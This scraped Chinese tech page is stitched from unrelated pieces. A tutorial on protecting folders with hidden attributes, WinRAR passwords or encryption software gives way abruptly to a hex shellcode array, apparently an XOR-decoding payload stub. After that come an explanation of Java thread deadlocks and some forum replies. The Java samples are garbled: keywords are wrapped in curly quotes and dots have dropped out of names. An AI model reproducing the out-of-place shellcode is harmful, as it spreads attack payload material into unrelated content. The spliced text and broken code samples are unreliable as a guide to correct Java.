准备工作:电脑一台,有效文件夹一个
具体步骤:首先,我们找到需要加密的文件夹。右击打开“属性”,然后选择“隐藏”。其次再选择“将更改应用于此文件夹、子文件夹和文件”,再单击回车确定。这个时候我们的文件就已经隐身成功了。那么怎么样将其恢复打开呢我们首先要选择工具栏,将其打开然后选择“文件夹选项”。再是在“查看”中选择“显示隐藏的文件、文件夹和驱动器”,再单击回车确定就可以了。
方法二:利用文件压缩加密
准备工作:电脑一台,有效文件夹一个,压缩文件一个(比如说:WinRAR)
具体步骤:首先,找到要加密的文件夹。然后右击选择WinRAR中的“添加到压缩文件”。 *** 作成功后,我们可以看到一个对话框,在其对话框里面设置解压缩的密码。设置好之后,点击“确定”,将文件压缩成功就可以了,然后我们将原文件删除即可。想要查看文件的时候,我们只需要将其压缩包解压即可,不过大家可要牢记解压密码哦!
方法三:加密软件
准备工作:电脑一台,有效文件夹一个,加密软件一个
具体步骤:在网上下载好适宜的加密软件将其安装即可,注册账号。加密软件它有一定的要求,我们要在磁盘上给其单独的划分一个区来作为它的库,并且设置好它的位置,大小以及密码就可以。那么将文件移进加密软件可以了,要查看的时候输入密码就可以打开加密文件了。
综上所述:上述三种办法都是可以对文件夹来进行加密的,并且它们有自己各自的优缺点。大家在选择哪种办法进行加密的时候,可以按照个人的需求来决定,不过加密的秘密是一定要记住的哦!shellcode[] = "\xEB"
"\x0F\x58\x80\x30\x95\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\xC0\x1C\x70\xC6\x53\xD0\x69\xF6\x53\xD0\x68\xF8\x53\xD0\x6B\xF1\x53\xD0\x6A"
"\x95\xFD\x90\x95\x95\x95\x18\xD0\x69\xC5\x2D\xD8\x84\x13\xE9\x6A\x45\xFD\x94\x95"
"\x95\x95\x2D\xD8\x84\x13\xE9\x6A\x45\x95\xFC\x68\x61\x63\x6B\xCD";什么是死锁?如果一个进程集合里面的每个进程都在等待只能由这个集合中的其他一个进程(包括他自身)才能引发的事件,这种情况就是死锁。这个定义可能有点拗口,一个最简单的例子就是有资源a和资源b,都是不可剥夺资源,现在进程c已经申请了资源a,进程d也申请了资源b,进程c接下来的 *** 作需要用到资源b,而进程d恰好也在申请资源a,那么就引发了死锁。这个肯定每个人都看过了。然后套用回去定义:如果一个进程集合里面(进程c和进程d)的每个进程(进程c和进程d)都在等待只能由这个集合中的其他一个进程(对于进程c,他在等进程d;对于进程d,他在等进程c)才能引发的事件(释放相应资源)。这里的资源包括了软的资源(代码块)和硬的资源(例如扫描仪)。资源一般可以分两种:可剥夺资源(preemptable)和不可剥夺资源(nonpreemptable)。一般来说对于由可剥夺资源引起的死锁可以由系统的重新分配资源来解决,所以一般来说大家说的死锁都是由于不可剥夺资源所引起的。死锁的四个必要条件互斥条件(mutual
exclusion):资源不能被共享,只能由一个进程使用。
请求与保持条件(hold
and
wait):已经得到资源的进程可以再次申请新的资源。
非剥夺条件(no
pre-emption):已经分配的资源不能从相应的进程中被强制地剥夺。
2检测死锁并且恢复。
3仔细地对资源进行动态分配,以避免死锁。
4通过破除死锁四个必要条件之一,来防止死锁产生。死锁是这样一种情形:多个线程同时被阻塞,它们中的一个或者全部都在等待某个资源被释放。由于线程被无限期地阻塞,因此程序不可能正常终止。
导致死锁的根源在于不适当地运用“synchronized”关键词来管理线程对特定对象的访问。“synchronized”关键词的作用是,确保在某个时刻只有一个线程被允许执行特定的代码块,因此,被允许执行的线程首先必须拥有对变量或对象的排他性的访问权。当线程访问对象时,线程会给对象加锁,而这个锁导致其它也想访问同一对象的线程被阻塞,直至第一个线程释放它加在对象上的锁。
由于这个原因,在使用“synchronized”关键词时,很容易出现两个线程互相等待对方做出某个动作的情形。代码一是一个导致死锁的简单例子。
//代码一
class Deadlocker {
int field_1;
private Object lock_1 = new int[1];
int field_2;
private Object lock_2 = new int[1];
public void method1(int value) {
“synchronized” (lock_1) {
“synchronized” (lock_2) {
field_1 = 0; field_2 = 0;
}
}
}
public void method2(int value) {
“synchronized” (lock_2) {
“synchronized” (lock_1) {
field_1 = 0; field_2 = 0;
}
}
}
}
参考代码一,考虑下面的过程:
◆ 一个线程(ThreadA)调用method1()。
◆ ThreadA在lock_1上同步,但允许被抢先执行。
◆ 另一个线程(ThreadB)开始执行。
◆ ThreadB调用method2()。
◆ ThreadB获得lock_2,继续执行,企图获得lock_1。但ThreadB不能获得lock_1,因为ThreadA占有lock_1。
◆ 现在,ThreadB阻塞,因为它在等待ThreadA释放lock_1。
◆ 现在轮到ThreadA继续执行。ThreadA试图获得lock_2,但不能成功,因为lock_2已经被ThreadB占有了。
◆ ThreadA和ThreadB都被阻塞,程序死锁。
当然,大多数的死锁不会这么显而易见,需要仔细分析代码才能看出,对于规模较大的多线程程序来说尤其如此。好的线程分析工具,例如JProbe Threadalyzer能够分析死锁并指出产生问题的代码位置。
隐性死锁
隐性死锁由于不规范的编程方式引起,但不一定每次测试运行时都会出现程序死锁的情形。由于这个原因,一些隐性死锁可能要到应用正式发布之后才会被发现,因此它的危害性比普通死锁更大。下面介绍两种导致隐性死锁的情况:加锁次序和占有并等待。
加锁次序
当多个并发的线程分别试图同时占有两个锁时,会出现加锁次序冲突的情形。如果一个线程占有了另一个线程必需的锁,就有可能出现死锁。考虑下面的情形,ThreadA和ThreadB两个线程分别需要同时拥有lock_1、lock_2两个锁,加锁过程可能如下:
◆ ThreadA获得lock_1;
◆ ThreadA被抢占,VM调度程序转到ThreadB;
◆ ThreadB获得lock_2;
◆ ThreadB被抢占,VM调度程序转到ThreadA;
◆ ThreadA试图获得lock_2,但lock_2被ThreadB占有,所以ThreadA阻塞;
◆ 调度程序转到ThreadB;
◆ ThreadB试图获得lock_1,但lock_1被ThreadA占有,所以ThreadB阻塞;
◆ ThreadA和ThreadB死锁。
必须指出的是,在代码丝毫不做变动的情况下,有些时候上述死锁过程不会出现,VM调度程序可能让其中一个线程同时获得lock_1和lock_2两个锁,即线程获取两个锁的过程没有被中断。在这种情形下,常规的死锁检测很难确定错误所在。
占有并等待
如果一个线程获得了一个锁之后还要等待来自另一个线程的通知,可能出现另一种隐性死锁,考虑代码二。
//代码二
public class queue {
static javalangObject queueLock_;
Producer producer_;
Consumer consumer_;
public class Producer {
void produce() {
while (!done) {
“synchronized” (queueLock_) {
produceItemAndAddItToQueue();
“synchronized” (consumer_) {
consumer_notify();
}
}
}
}
public class Consumer {
consume() {
while (!done) {
“synchronized” (queueLock_) {
“synchronized” (consumer_) {
consumer_wait();
}
removeItemFromQueueAndProcessIt();
}
}
}
}
}
}
在代码二中,Producer向队列加入一项新的内容后通知Consumer,以便它处理新的内容。问题在于,Consumer可能保持加在队列上的锁,阻止Producer访问队列,甚至在Consumer等待Producer的通知时也会继续保持锁。这样,由于Producer不能向队列添加新的内容,而Consumer却在等待Producer加入新内容的通知,结果就导致了死锁。
在等待时占有的锁是一种隐性的死锁,这是因为事情可能按照比较理想的情况发展—Producer线程不需要被Consumer占据的锁。尽管如此,除非有绝对可靠的理由肯定Producer线程永远不需要该锁,否则这种编程方式仍是不安全的。有时“占有并等待”还可能引发一连串的线程等待,例如,线程A占有线程B需要的锁并等待,而线程B又占有线程C需要的锁并等待等。
要改正代码二的错误,只需修改Consumer类,把wait()移出“synchronized”()即可。楼上的,如果是死循环,会一直输出,不会停止,明显是死锁。
楼主:你这个是死锁,主要就是出在循环的问题,你把supernotify();放在循环里就可以了。
一点一点讲,A线程进入synchronized代码块中,首先唤醒一个正在等待的线程,当前肯定是没有了,因为锁的原因,然后A线程进入循环,输出"线程A:10",进入等待。
此时执行的权限交给B线程,B线程进入synchronized代码块,执行supernotify();唤醒了A线程,但是由于同步机制,现在A处于就绪状态,然后B线程进入循环,输出“线程B:9”,进入等待,此前A线程已经唤醒了,执行权交给A线程,继续执行,又循环一次,输出“线程A:8”,然后进入等待,此时B现在也处于等待的状态。然后就死锁了。
楼主够通俗不?
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)